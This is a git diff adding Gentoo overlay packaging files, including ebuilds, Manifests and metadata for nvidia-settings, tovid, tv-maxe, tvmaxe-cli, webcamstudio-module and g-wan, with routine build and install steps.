+	if use examples; then
+		docinto examples/
+		dodoc samples/*.c
+		dodoc samples/README
+	fi
+}
diff --git a/media-video/nvidia-settings/nvidia-settings-304.88.ebuild b/media-video/nvidia-settings/nvidia-settings-304.88.ebuild
new file mode 100644
index 00000000..3a93d39d
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-304.88.ebuild
@@ -0,0 +1,69 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-256.52-r1.ebuild,v 1.1 2010/09/05 13:28:32 lxnay Exp $
+
+EAPI=2
+
+inherit eutils toolchain-funcs multilib flag-o-matic
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE=""
+
+# xorg-server is used in the depends as nvidia-settings builds against some
+# headers in /usr/include/xorg/.
+# This also allows us to optimize out a lot of the other dependancies, as
+# between gtk and xorg-server, almost all libraries and headers are accounted
+# for.
+DEPEND=">=x11-libs/gtk+-2:2
+	dev-util/pkgconfig
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/libXv
+	x11-proto/xf86driproto
+	x11-proto/xf86vidmodeproto"
+
+RDEPEND=">=x11-libs/gtk+-2:2
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/pango[X]"
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	cd "${S}/src/libXNVCtrl"
+	emake clean || die "Cleaning old libXNVCtrl failed"
+	append-flags -fPIC
+	emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!"
+	filter-flags -fPIC
+
+	cd "${S}"
+	einfo "Building nVidia-Settings..."
+	emake  CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings"
+}
+
+src_install() {
+	emake STRIP_CMD=/bin/true PREFIX="${D}/usr" install || die
+
+	# Install libXNVCtrl and headers
+	insinto "/usr/$(get_libdir)"
+	doins src/libXNVCtrl/libXNVCtrl.a
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h
+
+	# Install icon and .desktop entry
+	doicon "${S}/doc/${PN}.png"
+	sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop"
+	domenu "${S}/doc/${PN}.desktop"
+	exeinto /etc/X11/xinit/xinitrc.d
+	doexe "${FILESDIR}"/95-nvidia-settings
+
+	# Now install documentation
+	dodoc doc/*.txt
+}
diff --git a/media-video/nvidia-settings/nvidia-settings-310.19.ebuild b/media-video/nvidia-settings/nvidia-settings-310.19.ebuild
new file mode 100644
index 00000000..42f9cf45
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-310.19.ebuild
@@ -0,0 +1,66 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd ~amd64-fbsd"
+IUSE="examples"
+
+COMMON_DEPEND="x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXxf86vm
+	x11-libs/gtk+:2
+	x11-libs/gdk-pixbuf[X]
+	media-libs/mesa
+	x11-libs/pango[X]
+	x11-libs/libXv
+	x11-libs/libXrandr
+	dev-libs/glib:2"
+
+RDEPEND="=x11-drivers/nvidia-drivers-3*
+	${COMMON_DEPEND}"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	x11-proto/xproto"
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :(
+	emake -C src/libXNVCtrl/ CC="$(tc-getCC)" RANLIB="$(tc-getRANLIB)" libXNVCtrl.a
+
+	einfo "Building nvidia-settings..."
+	emake -C src/ CC="$(tc-getCC)" LD="$(tc-getLD)" STRIP_CMD="$(type -P true)" NV_VERBOSE=1
+}
+
+src_install() {
+	emake -C src/ DESTDIR="${D}" PREFIX=/usr install
+
+	insinto /usr/$(get_libdir)
+	doins src/libXNVCtrl/libXNVCtrl.a
+
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/*.h
+
+#	doicon doc/${PN}.png # Installed through nvidia-drivers
+	make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings
+
+	# bug 412569 - Installed through nvidia-drivers
+#	rm -rf "${D}"/usr/share/man
+
+	dodoc doc/*.txt
+
+	if use examples; then
+		docinto examples/
+		dodoc samples/*.c
+		dodoc samples/README
+	fi
+}
diff --git a/media-video/nvidia-settings/nvidia-settings-313.30.ebuild b/media-video/nvidia-settings/nvidia-settings-313.30.ebuild
new file mode 100644
index 00000000..8b52e042
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-313.30.ebuild
@@ -0,0 +1,69 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils toolchain-funcs multilib flag-o-matic
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE=""
+
+# xorg-server is used in the depends as nvidia-settings builds against some
+# headers in /usr/include/xorg/.
+# This also allows us to optimize out a lot of the other dependancies, as
+# between gtk and xorg-server, almost all libraries and headers are accounted
+# for.
+DEPEND=">=x11-libs/gtk+-2:2
+	dev-util/pkgconfig
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/libXv
+	x11-proto/xf86driproto
+	x11-proto/xf86vidmodeproto"
+
+RDEPEND=">=x11-libs/gtk+-2:2
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/pango[X]"
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	cd "${S}/src/libXNVCtrl"
+	emake clean || die "Cleaning old libXNVCtrl failed"
+	append-flags -fPIC
+	emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!"
+	filter-flags -fPIC
+
+	cd "${S}"
+	einfo "Building nVidia-Settings..."
+	emake  CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings"
+}
+
+src_install() {
+	emake STRIP_CMD=/bin/true PREFIX="${D}/usr" install || die
+
+	# Install libXNVCtrl and headers
+	insinto "/usr/$(get_libdir)"
+	doins src/libXNVCtrl/libXNVCtrl.a
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h
+
+	# Install icon and .desktop entry
+	doicon "${S}/doc/${PN}.png"
+	sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop"
+	domenu "${S}/doc/${PN}.desktop"
+	exeinto /etc/X11/xinit/xinitrc.d
+	doexe "${FILESDIR}"/95-nvidia-settings
+
+	# Now install documentation
+	dodoc doc/*.txt
+}
diff --git a/media-video/nvidia-settings/nvidia-settings-325.15.ebuild b/media-video/nvidia-settings/nvidia-settings-325.15.ebuild
new file mode 100644
index 00000000..fd52276f
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-325.15.ebuild
@@ -0,0 +1,76 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils toolchain-funcs multilib flag-o-matic
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE=""
+
+# xorg-server is used in the depends as nvidia-settings builds against some
+# headers in /usr/include/xorg/.
+# This also allows us to optimize out a lot of the other dependancies, as
+# between gtk and xorg-server, almost all libraries and headers are accounted
+# for.
+DEPEND=">=x11-libs/gtk+-2:2
+	dev-util/pkgconfig
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/libXv
+	x11-proto/xf86driproto
+	x11-proto/xf86vidmodeproto"
+
+RDEPEND=">=x11-libs/gtk+-2:2
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/pango[X]"
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :(
+	emake -C src/libXNVCtrl/ \
+		CC="$(tc-getCC)" \
+		AR="$(tc-getAR)" \
+		RANLIB="$(tc-getRANLIB)" \
+		libXNVCtrl.a
+
+	einfo "Building nvidia-settings..."
+	emake -C src/ \
+		CC="$(tc-getCC)" \
+		LD="$(tc-getLD)" \
+		STRIP_CMD="$(type -P true)" \
+		NV_VERBOSE=1 \
+		USE_EXTERNAL_JANSSON=1
+}
+
+src_install() {
+	emake -C src/ DESTDIR="${D}" PREFIX=/usr USE_EXTERNAL_JANSSON=1 install
+
+	insinto /usr/$(get_libdir)
+	doins src/libXNVCtrl/libXNVCtrl.a
+
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/*.h
+
+	doicon doc/${PN}.png
+	make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings
+
+	dodoc doc/*.txt
+
+	# Install icon and .desktop entry
+	doicon "${S}/doc/${PN}.png"
+	sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop"
+	domenu "${S}/doc/${PN}.desktop"
+	exeinto /etc/X11/xinit/xinitrc.d
+	doexe "${FILESDIR}"/95-nvidia-settings
+}
diff --git a/media-video/tovid/Manifest b/media-video/tovid/Manifest
new file mode 100644
index 00000000..4c256fa1
--- /dev/null
+++ b/media-video/tovid/Manifest
@@ -0,0 +1,5 @@
+DIST tovid-0.34.tar.gz 512950 RMD160 417b1c29d634f03aa6667407826f2e2dbd5175b0 SHA1 e652b9b402174d8c81a2e3b9962c17d25f4feefa SHA256 f95d14ffbd2bd491751b529b09fb27ae45e24af1ad44c87b25bac9c1a184f4ee
+DIST tovid-0.34_p20120123.tar.gz 1008271 RMD160 e7679043a6845e176c24c0dad872117a04dc3ce1 SHA1 0ca25885882633b152ddb800b3500ee8f7148b3f SHA256 941d3ca7aeb68fe306fb41aa1e97d4524f3ce8e340e83a249257f11755084186
+EBUILD tovid-0.34.ebuild 1361 RMD160 384d0de4b25c7f5c9a445157e3ed21572c29e296 SHA1 bbe26ecb9058afaa9d1f1655342dcd49b16bc6fc SHA256 fd32acb24c8ed6c3bc2c0675ecd5413d64982e1d17ee98123a26a4600f0e6fef
+EBUILD tovid-0.34_p20120123.ebuild 1460 RMD160 87b5d833e60fc04c6e25428eb6676ad02784b39b SHA1 5075da9673be3fa47e5311019bcf1871fceab835 SHA256 83b22a161ca74a1f81c33a43ea3d2ef131556d95b46f8f0dd3258327772c2d06
+MISC metadata.xml 158 RMD160 d91ff64b3e5f86657b8b6ba02c41a26247a2fac7 SHA1 9ac37da489ebe6e58e32fe8e037b1ef2d99c6638 SHA256 f9dd4fb4a7f368e776ea0d7d394dad8f3a674e67f6103d6fb58a8a98971eeee4
diff --git a/media-video/tovid/metadata.xml b/media-video/tovid/metadata.xml
new file mode 100644
index 00000000..d9df1878
--- /dev/null
+++ b/media-video/tovid/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>video</herd>
+</pkgmetadata>
diff --git a/media-video/tovid/tovid-0.34.ebuild b/media-video/tovid/tovid-0.34.ebuild
new file mode 100644
index 00000000..dedacf4d
--- /dev/null
+++ b/media-video/tovid/tovid-0.34.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/tovid/tovid-0.34.ebuild,v 1.2 2011/11/12 16:12:43 ssuominen Exp $
+
+EAPI=3
+
+PYTHON_DEPEND="2:2.6"
+SUPPORT_PYTHON_ABIS="1"
+RESTRICT_PYTHON_ABIS="3.*"
+
+inherit distutils gnome2-utils
+
+DESCRIPTION="A collection of DVD authoring tools"
+HOMEPAGE="http://tovid.wikia.com/wiki/Tovid_Wiki"
+SRC_URI="http://${PN}.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="app-cdr/cdrdao
+	app-cdr/dvd+rw-tools
+	|| ( =dev-lang/python-tk-2.7* =dev-lang/python-tk-2.6* )
+	dev-python/pycairo
+	dev-python/imaging
+	dev-tcltk/tix
+	|| ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+	media-sound/normalize
+	>=media-sound/sox-14.3.2
+	media-video/dvdauthor
+	>=media-video/mjpegtools-2.0.0
+	>=media-video/mplayer-1.0_rc4_p20110101
+	>=media-video/transcode-1.1.5
+	media-video/vcdimager
+	sys-devel/bc
+	virtual/ffmpeg"
+DEPEND="app-text/txt2tags"
+
+DOCS="AUTHORS ChangeLog README"
+
+src_install() {
+	distutils_src_install
+
+	# punt at least .install.log
+	find "${ED}" -name '*.log' -exec rm -f {} +
+}
+
+pkg_preinst() {
+	gnome2_icon_savelist
+}
+
+pkg_postinst() {
+	distutils_pkg_postinst
+	gnome2_icon_cache_update
+}
+
+pkg_postrm() {
+	distutils_pkg_postrm
+	gnome2_icon_cache_update
+}
diff --git a/media-video/tovid/tovid-0.34_p20120123.ebuild b/media-video/tovid/tovid-0.34_p20120123.ebuild
new file mode 100644
index 00000000..45c0ae73
--- /dev/null
+++ b/media-video/tovid/tovid-0.34_p20120123.ebuild
@@ -0,0 +1,65 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: Exp $
+
+# svn checkout http://tovid.googlecode.com/svn/trunk/tovid tovid-${PV}
+# note: see quickrelease file in the top source directory
+
+EAPI=3
+
+PYTHON_DEPEND="2:2.7"
+SUPPORT_PYTHON_ABIS="1"
+RESTRICT_PYTHON_ABIS="3.*"
+
+inherit distutils gnome2-utils
+
+DESCRIPTION="A collection of DVD authoring tools"
+HOMEPAGE="http://tovid.wikia.com/wiki/Tovid_Wiki"
+SRC_URI="http://dev.gentoo.org/~ssuominen/${P}.tar.gz"
+#SRC_URI="http://${PN}.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="app-cdr/cdrdao
+	app-cdr/dvd+rw-tools
+	|| ( =dev-lang/python-tk-2.7* =dev-lang/python-tk-2.6* )
+	dev-python/pycairo
+	dev-python/imaging
+	dev-tcltk/tix
+	|| ( media-gfx/imagemagick[png] media-gfx/graphicsmagick[imagemagick,png] )
+	media-sound/normalize
+	>=media-sound/sox-14.3.2
+	media-video/dvdauthor
+	>=media-video/mjpegtools-2.0.0
+	>=media-video/mplayer-1.0_rc4_p20110101
+	>=media-video/transcode-1.1.5
+	media-video/vcdimager
+	sys-devel/bc
+	virtual/ffmpeg"
+DEPEND="app-text/txt2tags"
+
+DOCS="AUTHORS ChangeLog README"
+
+src_install() {
+	distutils_src_install
+
+	# punt at least .install.log
+	find "${ED}" -name '*.log' -exec rm -f {} +
+}
+
+pkg_preinst() {
+	gnome2_icon_savelist
+}
+
+pkg_postinst() {
+	distutils_pkg_postinst
+	gnome2_icon_cache_update
+}
+
+pkg_postrm() {
+	distutils_pkg_postrm
+	gnome2_icon_cache_update
+}
diff --git a/media-video/tv-maxe/Manifest b/media-video/tv-maxe/Manifest
new file mode 100644
index 00000000..df2b5e0e
--- /dev/null
+++ b/media-video/tv-maxe/Manifest
@@ -0,0 +1,2 @@
+DIST tv-maxe-0.08.tar.gz 1175803 SHA256 ba2dbef7e69a63e55367c42f7479d8ec19a31703b34f403823036395c8a348c7 SHA512 d20ed7f8740d09c45f9bdaa34c77a07ebdd20f4332ab3bb584db9b70384ad2a59834a8ea0b3ebbd3ca850c05cb0c485db513e401b06901852d57206088cbafb9 WHIRLPOOL 616a6de75e4642bf10b5c2f6f33e35dd2bc333e626bfe28461bffac16ab6ddfff1ccc5e03d621e4650fad57dc762d7d3415a26ff1c270f534d33963bf9fbf250
+DIST tv-maxe-0.09.tar.gz 2157775 SHA256 3f580f0801cc2326ed1c367917bea9d1d9d68d86384d85380fda4d3adf391210 SHA512 516feaf829758626d643791c7ab84093ce717c42e9af5d46c5ab0adf032c5c56ccb164bcf5c93d9e89a8fc4de8b4c2f32ea07283c38865c3d71adb291b339d19 WHIRLPOOL e92413d3d0f976683f97c7392f5eda548207eac90868c029a2b07f027c5139a9244cead8891f0f50688bc79314b965a3b9637a7f37b90d2cafade0d0daa0b249
diff --git a/media-video/tv-maxe/tv-maxe-0.08.ebuild b/media-video/tv-maxe/tv-maxe-0.08.ebuild
new file mode 100644
index 00000000..07b764d9
--- /dev/null
+++ b/media-video/tv-maxe/tv-maxe-0.08.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils
+
+DESCRIPTION="Program to view free channels"
+HOMEPAGE="http://code.google.com/p/tv-maxe"
+SRC_URI="http://tv-maxe.googlecode.com/files/${PN}-${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="dev-python/imaging
+	media-video/mplayer
+	media-video/vlc
+	virtual/ffmpeg
+	dev-python/python-virtkey
+	dev-python/pygtk
+	dev-lang/python
+	media-tv/sopcast-player
+	media-video/rtmpdump
+	dev-python/sqlite3dbm
+	dev-python/gst-python 
+	media-libs/gst-plugins-good 
+	media-plugins/gst-plugins-meta"
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_prepare() {
+	sed -i "s|python|python2|g" ${S}/${PN}-${PV}/${PN} || die "Cannot sed file"
+}
+
+src_install() {
+	cd "${S}"
+	dodir /usr/share/${PN} || die
+	insinto /usr/share/${PN} || die
+	doins -r "${S}"/${PN}-${PV}/* || die
+	fperms 755 /usr/share/${PN}/${PN} || die "Errors on permission giving"
+	fperms 755 /usr/share/${PN} || die "Errors on permission folder giving"
+	dosym /usr/share/${PN}/${PN} /usr/bin/${PN} || die "Not too many symbolic links"
+	make_desktop_entry tv-maxe TV-maxe \
+		"/usr/share/tv-maxe/tvmaxe_mini.png" \
+		Video
+}
diff --git a/media-video/tv-maxe/tv-maxe-0.09.ebuild b/media-video/tv-maxe/tv-maxe-0.09.ebuild
new file mode 100644
index 00000000..08265748
--- /dev/null
+++ b/media-video/tv-maxe/tv-maxe-0.09.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils
+
+DESCRIPTION="Program to view free channels"
+HOMEPAGE="http://code.google.com/p/tv-maxe"
+SRC_URI="http://tv-maxe.googlecode.com/files/${PN}-${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="sqlite"
+
+RDEPEND="dev-python/imaging
+	media-video/mplayer2
+	media-video/vlc
+	virtual/ffmpeg
+	dev-python/python-virtkey
+	dev-python/pygtk
+	dev-lang/python[sqlite]
+	media-tv/sp-auth
+	media-video/rtmpdump
+	sqlite? ( dev-python/sqlite3dbm )
+	dev-python/gst-python 
+	media-libs/gst-plugins-good 
+	media-plugins/gst-plugins-meta"
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_prepare() {
+	sed -i "s|python|python2|g" ${S}/${PN}-${PV}/${PN} || die "Cannot sed file"
+}
+
+src_install() {
+	cd "${S}"
+	dodir /usr/share/${PN} || die
+	insinto /usr/share/${PN} || die
+	doins -r "${S}"/${PN}-${PV}/* || die
+	fperms 755 /usr/share/${PN}/${PN} || die "Errors on permission giving"
+	fperms 755 /usr/share/${PN} || die "Errors on permission folder giving"
+	dosym /usr/share/${PN}/${PN} /usr/bin/${PN} || die "Not too many symbolic links"
+	make_desktop_entry tv-maxe TV-maxe \
+		"/usr/share/tv-maxe/tvmaxe_mini.png" \
+		Video
+}
diff --git a/media-video/tvmaxe-cli/Manifest b/media-video/tvmaxe-cli/Manifest
new file mode 100644
index 00000000..d3144547
--- /dev/null
+++ b/media-video/tvmaxe-cli/Manifest
@@ -0,0 +1,2 @@
+DIST tvmaxe-cli-20120906.tar.gz 3927 RMD160 080df7d83a82d4b8c33386be748172c50153eb32 SHA1 ef73607a77353ec643970d4ea9a4eb6a63ae5846 SHA256 fd4be269b79855065f22ddf29e5bc59332dad95461c8f7c88d1ffaa3effe9f6f
+EBUILD tvmaxe-cli-20120906.ebuild 705 RMD160 f71c0beb06e2b83f924ecc3e3a0fc4a38bcee8fc SHA1 37b8137b5d06ae1ffdcfb5dc6f0e132d87c32777 SHA256 351e0e5eac184a1a2fb09c2a6f04543f34cdcb65a36d9458bb123d44ba10ebf4
diff --git a/media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild b/media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild
new file mode 100644
index 00000000..18a2ccfd
--- /dev/null
+++ b/media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+DESCRIPTION="CLI version of tv-maxe"
+HOMEPAGE="http://nknwn.github.com/tvmaxe-cli/"
+SRC_URI="dl.dropbox.com/u/5635113/tvmaxe-cli-20120906.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+RDEPEND="media-video/mplayer
+	 net-p2p/sopcast-bin"
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_install() {
+	cd "${S}"
+	dodir /usr/bin/${PN} || die "Error. Could not create directory."
+	insinto /usr/bin/${PN} || die "Error. Could not set install path."
+	doins -r  "${S}"/${PN}-${PV}/* || die " Error. Could not install."
+	fperms 755 /usr/bin/${PN}/${PN} || die "Error. Permissions not set."
+}
diff --git a/media-video/webcamstudio-module/Manifest b/media-video/webcamstudio-module/Manifest
new file mode 100644
index 00000000..9354bb02
--- /dev/null
+++ b/media-video/webcamstudio-module/Manifest
@@ -0,0 +1 @@
+EBUILD webcamstudio-module-1.4-r2.ebuild 1141 RMD160 7ba8459d8493a997a4eaaca30fac9d17ae8a95fa SHA1 3eba5853d6bb1ebea9224f1174e001a34d27647d SHA256 9d9fd997339705f3fdb50e3ef6c4caecf20da9aba8d701fc388df09696b50a71
diff --git a/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild b/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild
new file mode 100644
index 00000000..4f162f16
--- /dev/null
+++ b/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils linux-mod subversion
+
+DESCRIPTION="Kernel module for WebcamStudio."
+HOMEPAGE="http://www.ws4gl.org/"
+ESVN_REPO_URI="https://webcamstudio.svn.sourceforge.net/svnroot/webcamstudio/trunk/vloopback@891"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+DEPEND="virtual/linux-sources"
+
+MODULE_NAMES="webcamstudio(misc:${S})"
+CONFIG_CHECK="VIDEO_DEV"
+
+
+pkg_setup() {
+	linux-mod_pkg_setup
+
+	rm -f "${S}"/Makefile || die
+
+	BUILD_PARAMS="-C ${KV_DIR} SUBDIRS=${S} KERNEL_DIR=${KV_DIR}"
+	BUILD_TARGETS="modules"
+	MODULESD_WEBCAMSTUDIO_ENABLED="yes"
+}
+
+src_prepare() {
+	epatch "${FILESDIR}/${PN}-1.4-semaphore-fix.patch"
+}
+
+pkg_postinst() {
+	linux-mod_pkg_postinst
+
+	elog "To use WebcamStudio you need to have the \"webcamstudio\" module"
+	elog "loaded first."
+	elog ""
+	elog "If you want to do it automatically, please add \"webcamstudio\" to:"
+	if has_version sys-apps/openrc; then
+		elog "/etc/conf.d/modules"
+	else
+		elog "/etc/modules.autoload.d/kernel-${KV_MAJOR}.${KV_MINOR}"
+	fi
+	elog ""
+}
diff --git a/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild.save b/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild.save
new file mode 100644
index 00000000..42b505b4
--- /dev/null
+++ b/media-video/webcamstudio-module/webcamstudio-module-1.4-r2.ebuild.save
@@ -0,0 +1,52 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils linux-mod subversion
+
+DESCRIPTION="Kernel module for WebcamStudio."
+HOMEPAGE="http://www.ws4gl.org/"
+ESVN_REPO_URI="https://webcamstudio.svn.sourceforge.net/svnroot/webcamstudio/trunk/vloopback@891"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+RDEPEND="
+DEPEND="virtual/linux-sources"
+
+MODULE_NAMES="webcamstudio(misc:${S})"
+CONFIG_CHECK="VIDEO_DEV"
+
+
+pkg_setup() {
+	linux-mod_pkg_setup
+
+	rm -f "${S}"/Makefile || die
+
+	BUILD_PARAMS="-C ${KV_DIR} SUBDIRS=${S} KERNEL_DIR=${KV_DIR}"
+	BUILD_TARGETS="modules"
+	MODULESD_WEBCAMSTUDIO_ENABLED="yes"
+}
+
+src_prepare() {
+	epatch "${FILESDIR}/${PN}-1.4-semaphore-fix.patch"
+}
+
+pkg_postinst() {
+	linux-mod_pkg_postinst
+
+	elog "To use WebcamStudio you need to have the \"webcamstudio\" module"
+	elog "loaded first."
+	elog ""
+	elog "If you want to do it automatically, please add \"webcamstudio\" to:"
+	if has_version sys-apps/openrc; then
+		elog "/etc/conf.d/modules"
+	else
+		elog "/etc/modules.autoload.d/kernel-${KV_MAJOR}.${KV_MINOR}"
+	fi
+	elog ""
+}
diff --git a/metadata/layout.conf b/metadata/layout.conf
new file mode 100644
index 00000000..ca9fee10
--- /dev/null
+++ b/metadata/layout.conf
@@ -0,0 +1,2 @@
+masters = gentoo
+thin-manifests = true
diff --git a/net-analyzer/g-wan/g-wan-2012.ebuild b/net-analyzer/g-wan/g-wan-2012.ebuild
new file mode 100644
index 00000000..bfc4fdbc
--- /dev/null
+++ b/net-analyzer/g-wan/g-wan-2012.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit unpacker multilib versionator eutils
+
+MY_G="gwan"
+
+DESCRIPTION="G-Wan Analyzer"
+HOMEPAGE="http://g-wan.ch/"
+SRC_URI="http://${MY_G}.ch/archives/gwan_linux64-bit.tar.bz2
+	http://${MY_G}.ch/archives/gwan_linux32-bit.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+
+RDEPEND="x11-libs/pango
+	amd64? ( 
+		app-emulation/emul-linux-x86-gtklibs 
+		app-emulation/emul-linux-x86-baselibs	)"	
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_install() {
+	cd "${S}" || die
+	sh ./gwan || die
+}
diff --git a/net-analyzer/metasploit/Manifest b/net-analyzer/metasploit/Manifest
new file mode 100644
index 00000000..567c4a21
--- /dev/null
+++ b/net-analyzer/metasploit/Manifest
@@ -0,0 +1,8 @@
+AUX armitage.yml 481 RMD160 d2f742ce1660a4ad43859b2ff6468d33716c2c74 SHA1 731283171a27cb2f4617c73df4ce0da6dcd3aef7 SHA256 2db3df7b05f28aa5ba6d6dedc32d8d1a2e24e020d6fd8aea15b2e76ed0f6ab46
